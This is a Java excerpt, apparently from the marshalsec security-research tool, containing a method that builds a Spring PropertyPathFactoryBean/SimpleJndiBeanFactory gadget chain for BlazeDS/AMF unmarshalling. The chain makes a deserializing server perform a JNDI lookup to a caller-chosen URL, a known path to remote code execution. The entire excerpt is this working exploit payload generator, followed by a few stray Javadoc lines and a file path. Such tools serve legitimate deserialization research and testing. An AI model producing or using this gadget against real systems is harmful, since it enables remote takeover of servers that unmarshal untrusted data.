@Override
    @Args ( minArgs = 1, args = {
        "jndiUrl"
    }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } )
    public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception {
        String jndiUrl = args[ 0 ];
        PropertyInjectingProxy bfproxy = new PropertyInjectingProxy(
            new SimpleJndiBeanFactory(),
            Collections.singletonMap("shareableResources", Arrays.asList(jndiUrl) // this would actually be an array,
                                                                                  // but AMFX has some trouble with
                                                                                  // non-readable array properties
        ));

        Map<String, Object> values = new LinkedHashMap<>();
        values.put("targetBeanName", jndiUrl);
        values.put("propertyPath", "foo");
        values.put("beanFactory", bfproxy);
        return new PropertyInjectingProxy(new PropertyPathFactoryBean(), values);
    }
{@inheritDoc}

@see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
src/main/java/marshalsec/BlazeDSBase.java